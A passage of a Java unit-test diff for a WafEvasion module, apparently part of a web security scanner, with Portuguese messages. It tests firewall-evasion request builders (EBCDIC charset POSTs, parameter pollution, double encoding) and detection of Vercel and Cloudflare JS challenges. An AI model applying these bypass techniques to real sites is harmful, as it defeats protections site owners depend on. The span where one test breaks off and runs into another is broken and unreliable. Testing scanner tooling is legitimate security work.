buildEbcdicPostSetsCharsetHeader() { + HttpRequest req = WafEvasion.buildEbcdicPost("https://example.com/test", "q", "payload"); + String contentType = req.headers().firstValue("Content-Type").orElse(""); + assertTrue(contentType.toLowerCase().contains("charset=ibm500"), + "Content-Type deve conter charset=ibm500, got: " + contentType); + } + + // ------------------------------------------------- + // buildHppUrl + // ------------------------------------------------- + + @Test + @Order(16) + void buildHppUrlDuplicatesParam() { + String url = WafEvasion.buildHppUrl("https://example.com/search", "q", ""; + String result = WafEvasion.evasionPayload(ctx, payload); + assertEquals(payload, result, "Sem WAF detectado, payload deve passar inalterado"); + } + + // ------------------------------------------------- + // evasionPayload -- transforms when WAF detected + // ------------------------------------------------- + + @Test + @Order(18) + void evasionPayloadTransformsWhenWafDetected() { + ScanContext ctx = new ScanContext("https://example.com", "", Set.of()); + ctx.wafState().markWafDetected("cloudflare"); + ctx.wafState().markEffectiveStrategy(WafEvasion.Strategy.DOUBLE_ENCODE); + + assertTrue(ctx.wafState().isWafDetected(), "WAF deve estar marcado como detectado"); + assertEquals("cloudflare", ctx.wafState().wafProduct(), "Produto WAF deve ser cloudflare"); + + String payload = ""; + String result = WafEvasion.evasionPayload(ctx, payload); + assertNotEquals(payload, result, "Com WAF + strategy definida, payload deve ser transformado"); + // DOUBLE_ENCODE returns single-encoded form; caller's URLEncode completes + // double + assertTrue(result.contains("%3C"), "DOUBLE_ENCODE deve produzir %3C (single-encoded), got: " + result); + } + + // ------------------------------------------------- + // isJsChallenge -- header-based detection + // ------------------------------------------------- + + @Test + @Order(19) + void isJsChallengeVercelHeader403() { + Map> headers = Map.of("x-vercel-mitigated", List.of("challenge")); + assertTrue(WafEvasion.isJsChallenge(403, headers, ""), + "403 + x-vercel-mitigated: challenge deve ser JS challenge"); + } + + @Test + @Order(20) + void isJsChallengeCloudflareHeader503() { + Map> headers = Map.of("cf-mitigated", List.of("challenge")); + assertTrue(WafEvasion.isJsChallenge(503, headers, ""), "503 + cf-mitigated: challenge deve ser JS challenge"); + } + + @Test + @Order(21) + void isJsChallengeFalseOn200EvenWithHeader() { + Map> headers = Map.of("x-vercel-mitigated", List.of("challenge")); + assertFalse(WafEvasion.isJsChallenge(200, headers, ""), + "200 nao deve ser JS challenge mesmo com header de challenge"); + } + + @Test + @Order(22) + void isJsChallengeFalseOn200EvenWithBody() { + assertFalse(WafEvasion.isJsChallenge(200, Map.of(), "Vercel Security Checkpoint"), + "200 com body match nao deve ser JS challenge (status code guard)"); + } + + // ------------------------------------------------- + // isJsChallenge -- body-based detection + // ------------------------------------------------- + + @Test + @Order(23) + void isJsChallengeVercelBody403() { + assertTrue(WafEvasion.isJsChallenge(403, Map.of(), "Vercel Security Checkpoint"), + "403 + body 'Vercel Security Checkpoint' deve ser JS challenge"); + } + + @Test + @Order(24) + void isJsChallengeCloudflareBodyCfChlOpt503() { + assertTrue(WafEvasion.isJsChallenge(503, Map.of(), "
test
"), + "503 + body com cf_chl_opt deve ser JS challenge"); + } + + @Test + @Order(25) + void isJsChallengeCloudflareBodyCfChallengeDash503() { + assertTrue(WafEvasion.isJsChallenge(503, Map.of(), "
"), + "503 + body com cf-challenge- deve ser JS challenge"); + } + + // ------------------------------------------------- + // isJsChallenge -- negative / edge cases + // ------------------------------------------------- + + @Test + @Order(26) + void isJsChallengeFalse403NoSignals() { + assertFalse(WafEvasion.isJsChallenge(403, Map.of(), "Access Denied"), + "403 sem sinais de JS challenge nao deve ser detectado"); + } + + @Test + @Order(27) + void isJsChallengeNullBodyWithHeader() { + Map> headers = Map.of("x-vercel-mitigated", List.of("challenge")); + assertTrue(WafEvasion.isJsChallenge(403, headers, null), + "403 + vercel header + null body deve ser JS challenge"); + } + + @Test + @Order(28) + void isJsChallengeNullBodyNoHeader() { + assertFalse(WafEvasion.isJsChallenge(403, Map.of(), null), + "403 + no header + null body nao deve ser JS challenge"); + } + + @Test + @Order(29) + void isJsChallengeHeaderValueNotChallenge() { + Map> headers = Map.of("x-vercel-mitigated", List.of("blocked")); + assertFalse(WafEvasion.isJsChallenge(403, headers, ""), + "x-vercel-mitigated: blocked (nao 'challenge') nao deve ser JS challenge"); + } + + // ------------------------------------------------- + // detectChallengeType + // ------------------------------------------------- + + @Test + @Order(30) + void detectChallengeTypeVercel() { + Map> headers = Map.of("x-vercel-mitigated", List.of("challenge")); + assertEquals("Vercel Security Checkpoint", WafEvasion.detectChallengeType(403, headers, ""), + "Deve retornar 'Vercel Security Checkpoint'"); + } + + @Test + @Order(31) + void detectChallengeTypeCloudflare() { + Map> headers = Map.of("cf-mitigated", List.of("challenge")); + assertEquals("Cloudflare Managed Challenge", WafEvasion.detectChallengeType(503, headers, ""), + "Deve retornar 'Cloudflare Managed Challenge'"); + } + + @Test + @Order(32) + void detectChallengeTypeEmptyOn200() { + Map> headers = Map.of("x-vercel-mitigated", List.of("challenge")); + assertEquals("", WafEvasion.detectChallengeType(200, headers, "Vercel Security Checkpoint"), + "200 deve retornar vazio mesmo com sinais de challenge"); + } + + @Test + @Order(33) + void detectChallengeTypeEmptyNoSignals() { + assertEquals("", WafEvasion.detectChallengeType(403, Map.of(), "some body"), + "403 sem sinais deve retornar vazio"); + } + + @Test + @Order(34) + void detectChallengeTypePrioritizesVercel() { + Map> headers = Map.of("x-vercel-mitigated", List.of("challenge"), "cf-mitigated", + List.of("challenge")); + assertEquals("Vercel Security Checkpoint", WafEvasion.detectChallengeType(403, headers, ""), + "Com ambos headers, Vercel deve ter prioridade"); + } + + @Test + @Order(35) + void detectChallengeTypeByBodyOnly() { + assertEquals("Cloudflare Managed Challenge", + WafEvasion.detectChallengeType(503, Map.of(), "cf_chl_opt content"), + "Body-only Cloudflare detection deve funcionar em 503"); + } + + // ------------------------------------------------- + // isJsChallenge <-> detectChallengeType consistency + // ------------------------------------------------- + + @Test + @Order(36) + void isJsChallengeConsistentWithDetectType() { + Map> vercelHeaders = Map.of("x-vercel-mitigated", List.of("challenge")); + Map> cfHeaders = Map.of("cf-mitigated", List.of("challenge")); + + // Every case where detectChallengeType returns non-empty, isJsChallenge must + // return true + assertTrue(WafEvasion.isJsChallenge(403, vercelHeaders, "")); + assertFalse(WafEvasion.detectChallengeType(403, vercelHeaders, "").isEmpty()); + + assertTrue(WafEvasion.isJsChallenge(503, cfHeaders, "")); + assertFalse(WafEvasion.detectChallengeType(503, cfHeaders, "").isEmpty()); + + // Every case where isJsChallenge returns false, detectChallengeType must return + // empty + assertFalse(WafEvasion.isJsChallenge(200, vercelHeaders, "")); + assertTrue(WafEvasion.detectChallengeType(200, vercelHeaders, "").isEmpty()); + } +}